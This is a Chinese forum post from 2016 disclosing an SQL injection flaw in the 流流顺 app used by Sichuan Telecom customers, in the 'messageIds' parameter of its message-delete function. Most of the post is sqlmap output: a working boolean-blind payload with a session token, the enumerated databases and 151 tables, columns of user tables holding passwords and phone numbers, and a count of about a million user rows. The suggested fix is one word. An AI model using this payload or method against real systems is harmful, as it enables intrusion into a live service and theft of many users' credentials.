HanDs
管理员

[7月漏洞公开] 流流顺SQL注入漏洞(影响百万四川电信用户) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

滴,老年卡。

详细说明:

基本是四川电信用户都知道流流顺这个APP。存在问题的地方在删除信息功能



1.jpg

2.png

漏洞证明:

code 区域
POST parameter 'messageIds' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 83 HTTP(s) requests:
---
Parameter: messageIds (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: token=10D0C20E2A11DF7700D3FFE44604EF36AE6A0F24443F42CAD57E153DD9A0BE886DFB71ABA71DEC3A397B6F476B4A0AA0475824943C38B725&messageIds=150130320) AND 1670=1670 AND (5658=5658
---



available databases [7]:
[*] CTXSYS
[*] EXFSYS
[*] SCWY
[*] SCWY_WEIXIN_1W
[*] SYS
[*] SYSTEM
[*] XDB


Database: SCWY
[151 tables]
+------------------------------+
| TD_SIGNIN_A????? |
| INTF_AGENT_AREA |
| INTF_AGENT_STAFF |
| OMS_REPORT_SORT |
| OMS_REP_ACTIVITY |
| TD_ACTIVITY_SHOW_CONFIG |
| TD_ACTIVITY_TARGET_USER |
| TD_APP_GUESS |
| TD_BANK_LIST |
| TD_BUSI_NAME_LIST |
| TD_CALL_INTERFACE_CONFIG |
| TD_CITY |
| TD_CODE_INFO |
| TD_CONSUMPTION_CONFIG |
| TD_CONTENT_CONFIG |
| TD_CT_NBR_CONFIG |
| TD_ECP_SHELF |
| TD_FLOW_RECOMMEND_CONFIG |
| TD_GIVE_GOLD_CONFIG |
| TD_GOLD_ACTIVITY_CONFIG |
| TD_GOODS_RECOMMEND |
| TD_GOODS_VOUCHER |
| TD_HB_OCS_CONFIG |
| TD_HW_SHOW_CONFIG |
| TD_INTEGRAL_GOODS |
| TD_JTFGOP_MAP |
| TD_MAIN_ACTIVITY_CONFIG |
| TD_MAIN_GOLDGAME_CONFIG |
| TD_MAIN_MENU_CONFIG |
| TD_NON_CANCEL_PROD |
| TD_ORDER_ERROR_INFO |
| TD_ORDER_GOODS_GOLD |
| TD_SCENE_CONFIG |
| TD_SHARE_CONTENT |
| TD_SHARE_IMAGE |
| TD_WINDOW_CONFIG |
| TFA_APP_ORDER |
| TF_CARDPAYMENT |
| TL_GIVE_GOLD_LOG |
| TL_GOLD_ANNOUNCEMENT_LOG |
| TL_GOLD_DETAIL_SIGNIN |
| TL_HW_SMS_CODE |
| TL_LUCKYDRAW_CHANCE_LOG |
| TL_SIGNIN_LOG |
| TMP_GOLD_ORDER_COUNT |
| TM_ACC_NBR_LIST |
| TM_ACC_NBR_LIST2 |
| TM_ACC_NBR_LIST_RULE |
| TM_ACC_NBR_LIST_RULE2 |
| TM_ACTIVE_USER_LIST |
| TM_ACTIVITY |
| TM_ACTIVITY_LOG |
| TM_ACTIVITY_LOG_TEMP |
| TM_ACTIVITY_PRODUCT |
| TM_ACTIVITY_RULE |
| TM_APP_DATA_GATHER |
| TM_APP_DOWNLOAD_LOG |
| TM_APP_ERROR_LOG |
| TM_APP_GROUP |
| TM_APP_INFO |
| TM_APP_PICTURE |
| TM_BAIDU_CODE |
| TM_CHANNEL |
| TM_CITY_MAP |
| TM_CUSTOMER |
| TM_CUSTOMER_TEMP |
| TM_ECP_E9 |
| TM_FAQ |
| TM_FIFA_APP |
| TM_FIFA_MATCH |
| TM_FIFA_MATCH_RESULT |
| TM_FIFA_MATCH_RESULT_LOG |
| TM_FIFA_NEWS |
| TM_FIFA_RANK |
| TM_FIFA_RANK_RESULT |
| TM_FIFA_TEAM |
| TM_FLOW_CONVERSION_GOODS |
| TM_FLOW_CUSTOMER |
| TM_FLOW_IMAGE |
| TM_FLOW_ORDER_LOG_1507 |
| TM_FLOW_SUGGESTION |
| TM_GOLDBAG_RECEIVE |
| TM_GOLDBAG_SEND |
| TM_GOLD_DETAIL |
| TM_GOLD_GIVE_LOG |
| TM_GOLD_GOODS |
| TM_GOLD_ORDER |
| TM_GOODS |
| TM_GOODS_CHANNEL |
| TM_GOODS_GOLD |
| TM_GOODS_PRICE |
| TM_GOODS_SHELF |
| TM_HD_TROPHY |
| TM_HOBBY_LABEL |
| TM_HW_USER |
| TM_IOS_CERTIFICATE |
| TM_LLS_GOODS_CONTRAST |
| TM_MANAGEMENT_AUTHORITIES |
| TM_MANAGEMENT_USER |
| TM_MESSAGE_CODE |
| TM_MESSAGE_LOG |
| TM_MOBILE_LOGIN_BAK_201507 |
| TM_MOBILE_LOGIN_TEMP |
| TM_NON_COACH_LIST |
| TM_NON_COACH_LIST_TEMP |
| TM_ORDER |
| TM_ORDER_E9_TEMP |
| TM_ORDER_GOLD_RULE |
| TM_ORDER_PKG_LIST |
| TM_ORDER_VOUCHER_LOG |
| TM_PRIZE |
| TM_PRIZE_LOG |
| TM_PRODUCT |
| TM_PRODUCT_SPECIFICATION |
| TM_PROD_FEE |
| TM_PUSH_ACCOUNT_INFO |
| TM_PUSH_CONFIG |
| TM_PUSH_CUSTOMER |
| TM_PUSH_CUSTOMER_RULE |
| TM_PUSH_USER |
| TM_QUESTION_CONTENT |
| TM_QUESTION_LIST |
| TM_QUESTION_OPTION |
| TM_QUESTION_RESULT |
| TM_RANDOM_CODE_1507 |
| TM_SHARE_CONFIG |
| TM_SHARE_LOG |
| TM_SHELF |
| TM_SHELF_COMPOSITION |
| TM_SHORT_MESSAGE |
| TM_SHORT_MESSAGE_RECORD |
| TM_SMARTPHONE_LIST |
| TM_STAFF_FEE_TOTAL_TMP |
| TM_TARGET_USER |
| TM_TASK_INFO |
| TM_TASK_INVITE_CODE |
| TM_TASK_INVITE_DETAIL |
| TM_TASK_PRIZE_LOG |
| TM_TASK_RANK_SHOW |
| TM_TASK_SHARE_CONFIG |
| TM_TASK_TYPE |
| TM_TASK_USER |
| TM_TASK_VISIT_LOG_BAK_201507 |
| TM_TASK_VISIT_TYPE |
| TM_USER_BASE_INFO |
| TM_USER_GOLD |
| TM_USER_GOLD_DETAIL |
| TM_USER_GOLD_TOTAL |
| TM_USER_LOGIN_LOG |
| TM_VERSION_UPGRADE |
| TM_VERSION_UPGRADE_LOG |
+------------------------------+

Table: TM_PUSH_USER
[10 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| ACTION | VARCHAR2 |
| ACC_NBR | VARCHAR2 |
| CHANNEL_ID | VARCHAR2 |
| CREATE_TIME | DATE |
| CUSTOMER_ID | NUMBER |
| DEVICE_TOKEN | VARCHAR2 |
| ID | NUMBER |
| IOS_ANDROID | VARCHAR2 |
| STATE | VARCHAR2 |
| USER_ID | VARCHAR2 |
+--------------+----------+

Database: SCWY
Table: TM_HW_USER
[7 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| CREATE_TIME | DATE |
| ID | NUMBER |
| INVITE_CODE | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| PHONE | VARCHAR2 |
| SECRET_PASSWORD | VARCHAR2 |
| SMS_PHONE | VARCHAR2 |
+-----------------+----------+

Database: SCWY
+------------+---------+
| Table | Entries |
+------------+---------+
| TM_HW_USER | 1034067 |
+------------+---------+

修复方案:

过滤


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
S QL
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组
快速回复